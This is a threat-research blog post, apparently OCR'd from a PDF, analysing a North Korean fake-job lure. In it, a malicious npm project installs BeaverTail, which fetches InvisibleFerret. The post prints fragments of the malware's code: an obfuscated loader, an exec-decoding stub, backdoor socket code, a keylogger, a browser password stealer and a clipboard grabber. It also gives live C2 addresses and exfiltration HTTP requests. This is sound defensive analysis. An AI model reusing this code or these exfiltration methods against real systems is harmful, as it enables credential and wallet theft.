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Bored BeaverTail & InvisibleFerret Yacht Club — A Lazarus Lure
Pt.2

By eSentire Threat Response Unit (TRU)

Archived: 2026-04-05 18:38:33 UTC

Adversaries don’t work 9-5 and neither do we. At eSentire, our 24/7 SOCs are staffed with Elite Threat Hunters

and Cyber Analysts who hunt, investigate, contain and respond to threats within minutes.

We have discovered some of the most dangerous threats and nation state attacks in our space — including the

Kaseya MSP breach and the more_eggs malware.

Our Security Operations Centers are supported with Threat Intelligence, Tactical Threat Response and Advanced

Threat Analytics driven by our Threat Response Unit — the TRU team.

In TRU Positives, eSentire’s Threat Response Unit (TRU) provides a summary of a recent threat investigation. We

outline how we responded to the confirmed threat and what recommendations we have going forward.

Here’s the latest from our TRU Team...

What did we find?

In October 2024, the eSentire Threat Response Unit (TRU) responded to an incident where a software developer

downloaded a JavaScript project that contained BeaverTail malware. Upon installing the project through the Node
Package Manager (NPM) command, it executed malicious JavaScript files and subsequently deployed the
InvisibleFerret malware to the host. The InvisibleFerret malware was executed through a Python command, which

fingerprinted the host's information and stole the browser's credentials.

In response, our team of 24/7 SOC Cyber Analysts responded by isolating the impacted host and alerting the

customer with the relevant details.

Upon further investigation by eSentire’s TRU team, it was determined that the observed Tactics, Techniques, and

Procedures (TTPs) were consistent with those reported to be used by North Korea threat actors, also tracked as

Contagious Interview.

Initial Access

A ZIP file named 'task-space-eshop-aeea6cc51a7c.zip' was found in the user's download directory. eSentire Threat
Intelligence team assesses the chances as probable that the victim downloaded the zip from a BitBucket project

named “eshop” (Figure 1).
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B task-space / eshop

eshop

15 main ~ Files v Filter files Q
i/
Name Size  Last commit Message
. backend 2024-10-29 initial
. build 2024-10-29 initial
BB cubic 2024-10-29 initial
B 2024-10-29 initial
B .gitignore 728 2024-10-29 initial
B LICENSE 1.04KE  2024-10-29 initial
B README.md 753B  2024-10-29 initial
B package-lockjson 133 MB  2024-10-29 initial
B package.json 133 KB 2024-10-29 initial

Figure 1 eshop project hosted on Bitbucket.

The malicious “eshop” repository was committed by the user “francesco zaid” (Figure 2).

& task-space / eshop / eshop

Commits Compare  Check out
Search commits Q §5 main Show all
Author Commit Message Date
1| @ frencescozaia 3950035 initial 2days ago
+| @ frencescozaia aeeabec initial 3 days ago
¢| @ frencescozaia F58f7ab Initial commit 3 days ago

Figure 2 Author “francesco zaid” (screenshot taken October 24th, 2024).

The commits to eshop occurred roughly five days after a job posting for a freelancer was published on a freelance

job board. The job was posted by a user named “francesco zaid” on the “www.freelancermapl.]Jcom” (Figure 3).
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@ freeloncermap Projects Freelancers

Blockchain Project Manager

Milan, Lombardy u n - Remote

This project has been archived and is not accepting more applications.
Browse open projects on our

Keywords

+ To watchlist

Start date
Bl A siness s i ASAP
lockchain Project Management Agile Methodology Business Process Modeling
Infrastructure Management Scrum Methodology Smart Contracts Systems Integration Project Delivery Workload
100% (5 days per week)
From
Description YouCo
About Us: Published at

We help companies streamline processes through technology. Our focus is on system integration, connecting
infrastructure, servers, and applications to improve efficiency.
?

Role Description:

17.10.2024

Contact person:
Francesco Zaid

- We are looking for a Blockchain Project Manager to lead and coordinate both client and internal projects. ;g;:;lsD
- You'll manage timelines, resources, and ensure smooth communication between teams and clients.
- Your role involves translating client needs into actionable plans and overseeing project delivery. :_';d“sm'
Key Responsibilities: Contract type
- Plan and manage blockchain projects from start to finish. Freelance
- Work closely with clients to understand their needs and set clear project goals.
Workplace

- Coordinate team activities and ensure projects stay on track.
- Monitor project progress and ensure deadlines are met.

- |dentify and resolve any project issues that arise. g, &
- Stay updated on industry trends and new technologies.

100 % remote

Figure 3 Possible Fake Job posting associated with the Contagious Interview Campaign.

It should be noted that the eSentire Threat Intelligence team reviewed the job posting and was unable to find a
direct link to the eshop repository from the posting; however, given the contact person’s name being the same
name used to upload content to the repository, it is a notable finding and is consistent with the Contagious

Interview campaign Tactics, Techniques and Procedures (TTPs) of luring software developers with fraudulent

jobs.

The victim in the incident eSentire responded to appears to be a software developer, which aligns with the TTPs of

previously reported on campaigns by North Korean threat actors where software developers were targeted.

Execution Chain

The ZIP file downloaded by the victim contained a malicious NPM package that once installed by the victim,
executed “server.js” file that is defined in the “package.json” and subsequently, loads a malicious JavaScript file

(error.js) (Figure 4).
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& task-space / eshop / eshop
package.json

Source v i9 main v ¢ 395db35 v Full commit

[ eshop / packagejson [

24 “react”: "+16.13.1%,
25 “react-dom”: "#16.13.1",

26 “react-router-dom”: "+5.2.8",
27 “"react-scripts”: “3.4.3%,

28 “request”:

29 "sqlite3”

30 "validator”: "#13.12.8"

31

32 {

33 “cancurrently \"node backend/server.js\" \"react-scripts start\"",
34 “react-scripts build”,
35 i “"react-scripts test”,
36 : "react-scripts eject”
37

38 "eslintConfig": {

39 extends": "react-app”

49 T

41 “browserslist”: {

42 “production”: [

43 ">0.2%"

44 "not dead”,

a5 "not op_mini all"

46 1.

47 “"development”: [

48 "last 1 chrome version”,

49 “last 1 firefox version”,

56 "last 1 safari version”

51 1

52 }

53}

54

Figure 4 “server.js” file was defined to be executed in the “package.json” file

The “server.js” file is used as an entry point to load the file located in “backend/middlewares/helpers/error.js”,
which facilitates further malicious activities on the victim machine such as: steal saved login credentials in the
browsers; collect system information; enumerates crypto wallet extensions in the targeted browsers; and, steal
configuration data from crypto wallets like Exodus and Solana. This JavaScript file (error.js) is highly obfuscated

and after analysis it was determined to be a component for the Beavertail malware (Figure 5).

IS task-space / eshop / eshop

errorjs Pull requests  Check out

Source v Iy main v ¢ 395db35 v Full commit

[ eshop / backend / middiewares / helpers / errorjs [0

1 (function(_@x57ec25, Bx4Scecf){function _@xSdeec2( @x5912fd, @x363292, @x3c6482, Bxlde3cH, Oxda698){return _Ox5ald(_Bx3c5482- Ox67°, @x363292);}function _@x20a992(_Ox44bSba, Oxdef6at, OxSsbeac, Ox378F0d|
_exa588c3){return _@x5a19(_0xdof6ad-0x12d, @x44bsba);}function _@x143ba7(_@xad3c1l, 0x5b763b, ©x285618, Bx4c6649, @x2955a0){return _Ox5al9(_0x285618- -@x27, @x2955a@);}function _@x1beds5(_@x6d5233,
_oxlebbcs,_@x3887fa, @xd695af, @x4880a8){return _ex5a19(_@xlebbcs- -'exz3e’,_@x3887fa); Hunction _6x3a67ac(_8x235288,_6x3aad4d, @xfbesbb, exi1fdes, exsssefe){return _ox5a19(_exs5580T0- -6x19a, 0x238288);}
const _Bx14563d=_@x57ec25();while(!1[]){try{const _@x3b5d9@=parselnt( OxSdeec2(Bx3d9,Bx473,"0x305", Bx3c3', '0x413" ) )/ (Bxal6® - Ox1+Bx22c* ~Ox1+-Bx3*-Bx15h)+-parselnt(_BxSdeec2('Bx362",8x325,0x2cc, '0x39¢c’,
0x32b) )/ (-0x1ef7*Ox1+8x201 3+-0x11a)+-parseInt (_6x143ba7(0x3b5, @x23a", " @x30a",@x230,  @x28a" ))/ (@x10a2+0x1*-0xdb7+-@x2e8)+parselnt(_Bx143ba7('@x184", 'Ox1cc’,Bxlee, '0x199",Bx235))/ (-0X4™-EXI38+-0X1470
+0x836*-0x2)+parseInt(_0x29a992(Bx37b, '0x437" ,@xabd, '@x4ds’ , "exabb "))/ (-ax7d1+-0x2*-0xbld+-0x399*0x4)*(-parselnt (_@x1bedss (0x149,0x6d,0xd3, '0x3a" ,8x113))/ (-Bxded*-0x2+-0x1f9at-0x1* -@x15C6) J#-parselnt
(_Bx143ba7('@x224" , " BxF5' ,0x150,8x1d7, '8x1fd" ) )/ (Bxlead+s-Bx2* -BxA0d+Bx7*-Bx5b1)* (parselnt(_Bx3a67ac(Bx1a5, 'Bxbl', 'Bxlaa’,8x31, ' Bxd8" ))/(-0xfdd®-Bx140x1085+8x102d* -8x2) ) +-parselnt(_8x3ab67ac( 8x156",Bx1b7,
‘oxdf, " @x13f",0x118) )/ (~0X271-Ox3+-0x331*Ax1+-0x12bF) * (-parseInt (_0x1bedSS(-@x6c, -0xC2,-"8x1da ", ~Ox11f,-0x71) ) / (@x306+-0x5Te+dx16°0x23) ) ; 1 F(_x3b5d90===_exdScec)break;else _0x14563d[ ' push’](_@x14563d
['shift*1()); }catch(_exabf798){_ex14563d[ 'push' ](_ex14563d[ ' shift'1()); }}}(_ex5d31,0x1133*0x25+0x8a136+-8x4b341) ); function _Ox5a19(_6x4695¢3, @x223978){const _@x54b195= 0x5d31();return _@x5als=function
(_Bx176b20,_8x2f77ac){_8x176b20=_x176b20- (@x1cb2*0x1+8x23ba+-Bx3efd);let _Ox1ddedf=_8x54b195[_8x176b28]5return _Bxlddedfs;}, 8x5alo( Ox4695c3, Bx223978);}function _8x5d31(){const _Bx1cb6fo=['com.o',

L "xodus’, " jpbpf”, 'm\x20(fu’, "FXgQr ', '1\x26Ext ", 'mgjnj’, "info’, \x28(tru’, 'e-chr’, ort/6", 'KqHPq', " fbeog’, 'push’, "orm’, "ort/G",

getTi', aSvHt', 'uiuEy', 'txt', 'get', " /Chro", 'hlefn’,'~db’, 'gmeccd", ' \x22retu’, 'eyupo’, "funct’,

‘gdoal","ibne]’, 'XyrzG', 'eycha’, "oyvIZ', ' jnkhf, "state’, 'soft/", "nFIAP', ' ccfch’, 'wExlg', " /stor, 'imacl®
/ ,'08:12°,'re/Op’, "nstru’, "ata/L’, ' /User’, "ructo’,

tar\xa /.con’,'nt/", "are/B’, dirna’, lncbf","ame’, '-rele’,"call’, 'IrilQ’, "ahbmg’,'ile’, ctor(’, ngcna’, '1344568IXUGPT", AXiY', "ase’, "e) \x2:
‘cfgod","PFEFF', 'kecod", 'fig/", "chain’, 'ome’, "Defau’, 'iijed", "idb", ' \x2a5upp®, "Fig/E", '12Cok’, 'ggaki’, '1\x205ta’, 'ads", "acces’, "acach", "esync', 'yMgin', 'platf', "lchlg’, 'peras’, "ginck", "error”, xushv’,
“terva’,"multi’, 'VLOEX', 'oihof',"cgndf', 'while', "sDF6I', 'pikoo’, 'us.wa', 'era’,"ata’, 'hid", "trace’, 'Llet’, 'n()\x20', ' Jhbjo", 'reque’, "\xBct\x5cH\x20" , "XaVeP' , "n\x20Set ", \xScpyth’, 'lengt’, "NogiV', path',
“ary/K®,"info\x22','eaash’, fejja’, \x2@Data’,"opera’, " jaRkz', ejbal’, "homed®, "ware/", " curl\i2e’, gkfmg", " .wall’, tostr', ‘exec’, 'const’,'a-zA-", "TVPEK', esoft’,"GJezl’, 'ata/ ", *891420AgahG1 ", 'UGEXX",
"bbbnh', *deekn’, 'keych®, 'hostn','Profi’, ' /id.j", "apagc’, 'bind’,'fig/s’, 'ajnin’, "table', ' 152zHusnI', 'rome’, 'afbch’, 'pytho’, "Ligku', "ser’, 'nIl60', "mnkoe ', 'pkjle’, "F1dfp', ) +)+)", 'forka’, "zuinl', 'ssync’,
"ddjkj’, "phepc’, 'Zhglr", "\xbcp.zi®, "pebkl’, ' {}.co’, 'ZiCna', "User\x20", 'elipt", "kpenl', 'bUatG", 'pplic’, "oohck, '§]¥) ", "olana’, "tACKP", "\xSc (\x28%\xSc ", actio’, "Softu’,'_proc’,"oamin’,'Z_§][", 'url’, 'mdjon’,
“befbm®,"ins/1", era\x205 ", rowse’, "readd’, "bomem’, */uplo’, "warn", "ilkdb’,"kkhmi', knmef","ing’,"conso’, LdQIb’, " join®, jkbgi', pgoak’, 'XkTtk', uXXTg', '44778YtlIfv’, g/Exo’, "bohma’, "idlcd’, mamct ",
*ocal/*,"fg¥n', 'XTsdw’, "clnha’, "SHubghH®, *iolgc”, "oialp’, '1e\x28", "bbldc", *Local’, irsyn®, "fhboh', 'xtens', "ppbcl’, "pekpl’, "solan’, "fexod", " count®, 'mibbk’, "olcbk’, "oficd’, "is\x22) (', "oftwa’, 'round’,
*logke", “formD', 'sUnpt", "omihk’, "pglpn’,'__pro’,'moz-e', cionb’,"Edge/", "to_ ", 'wd1Gq", ' Imeee’, 'ort/", "eebol ", rmSyn’,"filen', 'ophhp’, 'inhlp', 'lipeo’, "oiodb’, "Data’, 'Roami', "deajf’, ' _file","ion’, hgSEb’,
*ation’, ‘mkMnh", "creat’,"http: ", " -Brow’,"pdfla’, ' /Libr","searc’, 'le/Ch", 'bepdk’, re.Op’, "ector’, "vzasu', 'size", "lbocc’, "repla’, 'fgpgk’, 'KLnZo', '@-9a-',".235.","qOHDF", "hhjch", "kpkeb", rave-",

P, "GLVtE', 'nctio’, cKNit', uts’, 'Jmnoo’,"eRead", 'fdial’,"log', 'nphpl’, "bgeol’, 'dus/e’,"/1d_", "on.ex’, 'huclh', '251RLiX1", 'i11a/", 'gpnkl’, ' /Goog ", "proto’, "vivnb','_Lst',"Objec’,'/Loca’, "hTsOL',
fBrav', ‘ort/e", "aholp', 'input’, 'Googl','dfjmm’, "test’, "XeVhx','qGDIG',"hifaf', 'kodbe', 'renan’,
Jelie®," jgjfh®, "1bbcT, ng/Op”, "kkolj', "n3\x20\x22", "write", "djkbp", "apply’, ' 150150xvXKDC ",

*/pdow’, "emcci', 'googl®, 're/Br', "ogin. ', 'omaab', Strea’, '/
*n\x2@Dat’, "7051361IbRZI ", "oogle”, "isDir’, '1615479PmuQni’, " jjEwc", "Files’, "ngplf ', "gger’, "Brows", " jbls
"\x20-C\x20", " \xScp2.z", "quesv’, " .File', '8326796eghzkk , 'hfood", "acmac’, ' 1dhgm', ‘agoak’, "ary/A’, "ata/R","tGoNB ', /AppD, "ess’, 'penjl*, "debu’, 'leeob’, “inclu’, 'retur’, "excep’, "ion\x20*','241.2", 'behhn’,
*bohpj®, "OmydW’,"dDTEs", "Micro’,"child’, "hecda’, "aeave’, " (((-#',"2A-Z_", 'ync’, "XtjIx’, "des”, "ox/Pr', " \x22\x20\x22", *brld_", '0UTSy", "e/Chr ", 'bfnae", "age/d’, 'setIn’, 'pld_', "raveS’, 'e\x22\x20\x22", 'DtTdr",
*gipfn’,"type’, 'TWsbg", exist’, rn\x20th", "bapad","pndod", ‘omjjk", "dgmol’,"ofile’, "woPhw",*idelj’, "odkjb", strin’, 'dgcce’,"*(2:[*, nheel’, 'mVPnH", "onoee”, "tuXp" , 'son’ ] ;_Bx5d31=function(){return
_exlcbefo;}sreturn _x5d31(); feonst _@x173b7f=(function(){function _ex55392c(_ex56d525, @xd7c5Te, 0x11351a,_0x1f46a0, @x243aac){return _ox5al3(_ex1f46a0-'ox33c’,_0x11351a); bconst _x5a3202-{};_ex5a3202
[_8x55302c( '@x5c5" , 'Bxtiad ', Bx5Fe, "Bx56d ", '0x4T5" ) ]=_Bx55392¢(@x6Fa,Bx5Fc, "BxED1", '0x630","Bx674" )j const _Ox4826c2=_Bx5a3202;function 8x312ef7(_Bx7c@124, 0x881087, 0x814b16, Ox361a0f, Bxcbbfod){return
_0x5319(_0x814b16- -"@x2ba’,_0x7e@124);}let _6x27c3db=!![];return function(_@x2bce94, @x39ac1g){function _@x1c8285(_Bx29e2d9, 0xd7e985, 0x4d1830, Bx543302, BxS1fSc5){return _Ox55392c(_Bx29e2d9- '0x3f",

5 "Imome", "tion", 'jbmgj', 'a_id.", 'Firef'

Figure 5 Screenshot of ‘error.js’ found on the BitBucket Repository that is a component of

BeaverTail.

After the JavaScript file is loaded, it uses a cURL command to download InvisibleFerret malware components
from a command and control (C2) server; in this case the C2 was located at 185[.]235[.]241[.]208[:]1224.
BeaverTail then downloads the initial Python script of InvisibleFerret. It is saved on the victim machine as

“.sysinfo” file in the victim’s home directory (Figure 6).
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romise(( @x1bf8c7, ©x25c73d)

Figure 6 Initial BeaverTail Python Script that Fetches InvisibleFerret.

Once the file “.sysinfo” is downloaded onto the machine, InvisibleFerret’s loader file “.sysinfo” is then executed
with the command “C:\Users\{username }\.pyp\python.exe" "C:\Users\{username}/.sysinfo”. It’s worth noting that

this observation is different from what was reported by Unit 42 where the initial Python script was named “.npl”.

It’s also worth noting that a total of 21 crypto extensions were targeted by the BeaverTail in our observed sample;

the full list can be found in the Appendix at the end of the blog (Figure 7).

0x1152d2 ? _ox4fdbde

1 )
dfol cbkdeeknbbbnhec™, ™

Figure 7 Crypto Wallet Browser Extensions Targeted by BeaverTail.

Analysis of InvisibleFerret Python Files

The eSentire Threat Intelligence team conducted analysis of four Python files that were dropped in the incident;
one loader (.sysinfo in this instance) and three payloads stored under “\.n2” folder in the user’s home directory
(Figure 8).
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Table 1: Observed Invisible Ferret Python File Locations

Destination File Path

Request URL Note )
(Windows)

HTTP request for

InvisibleFerret
hxxpl[://]1185[.]1235[.]1241[.]208:1224/client/99/29 %USERPROFILE%\.sysinfo

Python Loader

(client)

HTTP GET request

for InvisibleFerret

Component
hxxpl[://1185[.]1235[.]241[.]208:1224/payload/99/29  (Fingerprint, Remote %USERPROFILE%\.n2\pay

Control, and

Information Stealer

Component)

HTTP GET request

for InvisibleFerret
hxxpl[://]1185[.]1235[.]1241[.]208:1224/brow/99/29 %USERPROFILE%\.n2\bow

Component (Browser

Stealer Component)

HTTP GET request

for InvisibleFerret
hxxpl[://]1185[.]235[.]241[.]208:1224/mclip/99/29 Component %USERPROFILE%\.n2\mlip

(Clipboard Stealer

Component)

Loader Component Overview

Figure 8 Python Loader (.sysinfo) Parameters (commented line was included).
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It's worth noting that the internal IP address (10.10.51.212) was excluded from the initial loader script, but still
reappears in the various InvisibleFerret python payloads (Figure 8). This suggests that the IP address may be used
for testing purposes. Furthermore, our analysis revealed that excluded or commented-out code sections are a

common trait of these scripts, potentially indicative of the malware's development or testing stages.

The sample downloads three distinct payloads which are appended with a campaign ID and sub ID (sType and
gType respectively, as seen in Figure 8 above and Figure 9 below): pay_campaignid_subid.py;
brow_campaignid_subid.py; and, mlip_campaignid_subid.py. On disk these files are saved to the
%USERPROFILE%\.n2 path without these identifiers or file extensions (Figure 9).

This PC Local Disk (C:) Users user .n2

Name Date modified

. bow
B st

. mlip
W ray

e Information

Figure 9 InvisibleFerret Python Files.

Some of these files are obfuscated with a combination of zlib, base64 and reverse string order (Figure 10). The

script loops through the lambda function continuously until the final cleartext payload is executed.

GET /payload/99/29 HTTP/1.1

Host: 185.235.241.208:1224
User-Agent: python-requests/2.32.3
Accept-Encoding: gzip, deflate
Accept: */*

Connection: keep-alive

HTTP/1.1 200 OK

X-Powered-By: Express
Access-Control-Allow-Origin: *
Content-Disposition: attachment; filename="pay99_29.py"
Accept-Ranges: bytes

Cache-Control: public, max-age=@
Last-Modified: Tue, 22 Oct 2024 18:40:32 GMT
ETag: W/"4acb-192b587dc10"

Content-Type: application/octet-stream
Content-Length: 19147

Date: Fri, 25 Oct 20824 16:46:23 GMT
Connection: keep-alive

Keep-Alive: timeout=5 Obfuscated Payload

_ = lambda __ : _ import_ ('zlib').decompress(__import__ ('base64').b64decode(_ [::-1]));exec((_)
(b'=cEgCP5P3vf//fQXDim/r9UKv3dcOAdP4XgXvLzPJIF5t/
X6vQnOLQBhKwxPmdQicW8izZ62djlwisKigcKegtABmd7wovN3rDcP9+2Z1Ci2FWYHW20eF IWAEP8tZ1/
SZ+1903dtQK45+aeb6thJux4ﬁ3fpbv3xdf:]ry+g0er51H91waSOtithVV7N4n1ftt9RSLdﬁﬁDYaNGKUBZkt9m9+Xb66005AcGﬁ
GbnQs@Xjx47te4ul IdHYBUC78AnrC1tAqeOVMOFktFu+VkdbNX3@aCEgFYyWFaeRNtZG5IOmZ/
n6XXTIiZb2ijkZ4L4VeqpDS6FbvhfUhFq3gX+/

Figure 10 Payload Retrieval
An overview of the three InvisibleFerret components can be found in the table below.

Table 2: InvisibleFerret Components
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InvisibleFerret .
Purpose Notable Network Indicators
Component
Host Fingerprinting hxxp://185.235.241[.]208:1224/uploads
File Stealer hxxp://185.235.241[.]208:1224/keys
pay Browser Credential Stealer hxxp://185.235.241[.]208:1224/brow
Remote Access hxxp://185.235.241[.]208:1224/adc
Deploys AnyDesk 185.235.241[.]208:2245
brow Browser credential stealer hxxp://:185.235.241[.]208:1224/keys

. Standalone clipboard stealer and o
mlip hxxp://95.164.7[.]1171:8637/api/clip
keylogger targeting web browsers.

“Pay” Component Overview

The pay component conducts various host fingerprinting activities including the internal IP, external IP, OS
version, username and a number of other parameters (Figure 11). It also initiates a backdoor session with the C2

server and scans and uploads sensitive files from the infected host.

Figure 11 Host Fingerprinting functionality.

Once the fingerprinting activity is concluded, it is packaged up and exfiltrated via HTTP POST request to
hxxp://185.235.241[.]208:1224/keys (Figure 12). The C2 IP address is de-obfuscated by shifting the first nine
characters to the end of the string then base64 decoding the set.
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+ host[:9]).decode()

hn = gType + s thostname ()

Figure 12 Partial screenshot of pay_campaignid_subid.py exfil process (the commented line was
left in by the author of the script)

On non-Windows systems, the script attempts to run the client instance by calling client.run().

On Windows systems, the main backdoor client is initiated alongside a keylogger and clipboard stealer which

utilizes the pyHook, pythoncom and pyperclip Python libraries (Figure 13)

startHk():hm = pyHook.HookManager();hm.MouseLeftDown = hmld;hm.MouseRightDown = hmrd;hm.KeyDown
= hkb;hm.HookMouse() ; hm.HookKeyboard()
hk_loop():startHk() ; pythoncom.PumpMessages()
run_client():
t1=Thread(target=hk_loop);tl.daemon=_T;tl.start()
g lient.run()
KeyboardInterrupt:sys.exit(®)

if _ name__ == "_ main
run_client()

Figure 13 Initializing the backdoor and keylogger/clipboard stealer.

Captured keystrokes and clipboard data are written to the global “e_buf” variable then sent back to the C2 (via
TCP connection to 185.235.241[.]208:2245) when the ssh_clip command is called within the backdoor session.

The backdoor session is defined within the Client (Figure 14), Session and Shell classes. It initiates a network
connection over port 2245 to the C2 server using sockets and accepts JSON-formatted messages containing
various commands shown below. Notably, it also calls an auto_up() function which in this sample initiates an
automatic file upload. This sample also contained placeholder code for automatically dropping AnyDesk (as

opposed to manually via the backdoor).
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Client():
__init_ (A):

rver_ip = HOST®@
.server_port = PORT@

socket.socket(socket.AF_INET, socket.SOCK_STREAM)
ssion(A.client_socket)
.connect(A.server_ip, A.server_port)
.shell = Shell(s)
.is_active = T

f A.shell.shell():

dir = os.getcwd()

print( == dir)

fn = os.path.join(dir, sys.argv[@])
print("fn:", fn)

os.remove(fn)

sleep(15)

print("e
sleep(20)

run(A):
t2 = Thread(target=auto_up)
t2.daemon = _T
t2.start()
f A.make_connection:

t()

Figure 14 Client class which manages the overall connection logic and initiates a file upload (code

formatting and inline comments added for clarity)

InvisibleFerret contains logic to scan for and upload files of interest from multiple operating systems. Various

functions in the script expedite identification of noteworthy files:

e in_pk: Checks if a string contains a private key by searching for specific hexadecimal patterns that match
typical private key lengths.

o ismnemonic: Determines if a string contains a valid mnemonic phrase by checking for typical word counts
and validating the phrase.

« is_exceptFile: Checks if a file name has an extension that should be excluded from processing.
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 is_exceptPath: Checks if a path name matches any directories that should be excluded.
 is_pat: Checks if a file name contains specific patterns related to environment variables and other sensitive

files

As each file is processed, the script checks if the file name contains any of these patterns:

"env', 'config.js', 'secret’, 'metamask’, 'wallet, 'private', 'mnemonic’, 'password', 'account’, '.xls', '.xlsx', '.doc’,
".docx’, ".rtf", ".txt', recovery'

]

If the file is not a common document type, additional filtering is performed using ismnemonic and in_pk to target
sensitive file content such as private keys. This is noteworthy given developers (likely those involved in
blockchain/crypto applications) are targeted. Any system found infected with InvisibleFerret should assume these

keys are compromised and take appropriate action.

Files are uploaded to hxxp://185.235.241[.]208:1224/uploads. Filenames are prepended with the current time and

the hostname is prepended with the subid “29”, as seen in Figure 15.

POST http://185.235.241.208:1224/uploads HTTP/1.1

Host: 185.235.241.208:1224

User-Agent: python-requests/2.32.3

Accept-Encoding: gzip, deflate

Accept: */*

Connection: keep-alive

Content-Length: 36087

Content-Type: multipart/form-data; boundary=4bcOafade8cd66607cba44d30e914887

--4bcDafade8cd66607cbha44d30e914887
Content-Disposition: form-data; name="type"

929
--4bcoafade8cd66607cba44d30e914887
Content-Disposition: form-data; name="hid"

29_DESKTOP-
--4bcoafade8cd66607cbha44d30e914887
Content-Disposition: form-data; name="uts"

auto_upload
--4bcoafade8cd66607cbha44d30e914887
Content-Disposition: form-data; name="multi_file"; filename="1729874621_wallet-tokenization-config.json"

"providers": {
"visa":
"eligible_sites": [

"microsoft.com",
"skype.com",
"github.com",
"1inkedin.com",
"minecraft.net”,
"xbox.com"

Figure 15 Example HTTP headers from auto_upload activity.

A record of uploaded files is kept within the flist file contained within the .n2 directory. While it’s a notable
forensic artifact, since this file can be arbitrarily cleared, it should not be considered a reliable record of exfiltrated

files.

As has been documented by other researchers, the backdoor component contains 8 commands which are briefly

outlined below.
ssh_obj

e Change directories, execute arbitrary commands via subprocess.Popen. Results/errors are reported
back[PC18] via the shell.

Page 11 of 20



https://www.esentire.com /blog/bored-beavertail-invisibleferret-yacht-club-a-lazarus-lure-pt-2

ssh_cmd

o Terminates the Python process, likely to terminate the session.
ssh_clip

e Sends captured keystrokes and clipboard data to the C2.
ssh_run

e Downloads and runs the browser stealer component.
ssh_upload

e Upload specific files, all files from a directory or search for files with specific patterns.
ssh_kill

 Kills Chrome and Brave browser processes.
ssh_any

e Downloads and runs AnyDesk.
ssh_env

e Scans for environment (.env) files similar to the auto-upload function described above. If they match

certain conditions (not in exception lists, contains private keys/phrases etc) the files are uploaded.
“Brow” Component Overview

This InvisibleFerret component is a cross-platform browser infostealer targeting Windows, Linux and MacOS
operating systems. It targets Chrome, Brave, Opera, Yandex and MsEdge browsers, uploading sensitive data to
hxxp://:185.235.241[.]208:1224/keys (Figure 16).

Each OS type initializes its own class, which is inherited[BZ19] from the ChromeBase class. Each class provides

instructions for decrypting browser-stored passwords on Windows, Linux and MacOS operating systems.
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- oS_type ==
if os_type == 1" 1055 ac
dir = os.getcwd();os.remove(dir+'\%s' % sys s.exit(-1)

in available_browsers:
pax = oss(br, blank_passwords=Fal
pax.fetch()
pax.retrieve_database()

browser_path = home + f"/{br.base_name}"
pax.save(f"s{idx}", browser_path, blank_file=False, verbose=
idx += 1

Figure 16 Browser infostealer. Comments from original author.

The script contains functionality to retrieve, decrypt and upload stored browser passwords, credit cards using

methods commonly found in infostealing malware (Figure 17).

r database_path in database_paths:
filename = os.path.join(temp_path, "Lo
shutil.copyfile(database_path, filename)

db = t connect(filename)
curs db.cursor()

cursor
)

creation_time =
last_time_used =

key = keys[database_paths.index(database_path)]

Figure 17 Snippet of credential stealing code. Original comments are from the script author(s).

“Mlip” (Mclip) Component Overview

The third payload contains a standalone keylogger and clipboard stealer implemented in Python using the

pyWinhook, psutil, pywin32 and wx libraries. The sample analyzed targeted Chrome and Brave browsers,

uploading stolen data to hxxp://95.164.7[.]171:8637/api/clip (Figure 18).
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Figure 18 Data upload structure in Mlip Python script.

The primary function OnKeyBoardEvent (Figure 19) is triggered by a keyboard event handler via the
HookManager from the pyWinhook library. When a keypress is detected, this function is called and will check the

active window process pid, process name and window name via the act_win_pn() function using the win32gui

library. If the process name matches a browser ("chrome.exe", "brave.exe"), it proceeds.

OnKeyboardEvent(event):
(pid, text, caption) = act win pn()
if browserlist.count(text):
if caption == :
o key log
key = event.Ascii

if (is_control _down()):key=f"<"{event.Key
elif key==0xD:

key<=126:key=chr(key)
F'<{event.Key}>"

if is_control_down() and event.Key ==
GetTextFromClipboard()
key log += key
if key == "\n" and len(key log):
save_log(key_ log, text, "extension™)
else:
if len(key log):
save log(key log, text,

return

pyHook . HookManager( )

hm.KeyDown = OnKeyboardEvent

Figure 19 OnKeyboardEvent funtion in mlip file.

If the caption of the active window is empty (indicating no specific page title or a blank tab), the function then
proceeds to handle individual keystrokes for logging purposes.
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The function checks for printable ASCII characters [PC20] and uses several modifiers to handle special
keypresses such as CTL or enter. For example, when enter is pressed, it’s formatted as a newline character to
break up the text and make it easier to process by the operator. If CTL + V is detected (signifying data being
pasted into the browser), the GetTextFromClipboard() function is triggered. Data is appended to the key_log

variable until a newline character is detected.

If a newline character is detected (“\n”) and the key_log is not empty, the save_log() function is triggered,
uploading the data to the C2 and clearing the log. If the window caption changes, the accumulated logs are also

uploaded and cleared.
GetTextFromClipboard Function

The script appears to use the the wx (wxPython) library to handle clipboard operations. It initializes a new
instance of wx.Clipboard, checks that the clipboard data is text (to avoid images or binaries) then uploads it to the
C2 using the save_log() function shown in Figure 20. Interestingly, it can check the clipboard for private keys and

mnemonic phrases, but that line was commented out in this sample.

GetTextFromClipboard():

clipboard

Figure 20 GetTextFromClipboard function.

A quick test with the wx library shows clipboard data can be extracted with a simple Python script:
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.check_call([sys.executable, M
GetTextFromClipboard():
clipboard = wx.Clipboard()

f clipboard.Open():
clipboard.IsSupported(wx.DataFormat(wx.DF_TEXT)):

data = wx.TextDataObject()
clipboard.GetData(data)

s = data.GetText()
print(

print(

clipboard.Close()

print(

app = wx.App( )
GetTextFromClipboard()

PS C:\Users\user > & c:/Users/user/Desktop/clipboard_test.py
Clipboard content: Here's all my passwords!
123456

password

12345678

guerty

123456789

12345

1234

111111

1234567

dragon

123123

baseball

Figure 21 Screenshot testing whether clipboard data can be extracted through a python script
What did we do?

e Our team of 24/7 SOC Cyber Analysts isolated the affected host to contain the infection.

e We alerted the customer of the incident and supported them through the remediation process.
What can you learn from this TRU Positive?

e The case showcases the importance of endpoint security solutions, such as Endpoint Detection and
Response (EDR), and the implementation of security training programs to educate users about such
sophisticated threats.

e Using company-issued computers for personal activities outside of work, such as job interviews, can put
corporate networks at risk.

e Developers should exercise caution when engaging with public code repositories that have a sparse
portfolio — typically a single repository with minimal activity. This behavior can be a red flag, as threat

actors often misuse free platforms like GitHub or BitBucket to host malicious code or distribute malware.
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Recommendations from the Threat Response Unit (TRU):

e Assume compromise of sensitive keys, passwords and files on infected hosts and take appropriate action
such as rotating keys, passwords etc.

e Confirm that all devices are protected with Endpoint Detection and Response (EDR) solutions.

e Implement a Phishing and Security Awareness Training (PSAT)_program that educates and informs your
employees on emerging threats in the threat landscape.

» Ensure your organization has a corporate policy for acceptable use of corporate devices.
Indicators of Compromise
You can access the indicators of compromise here.
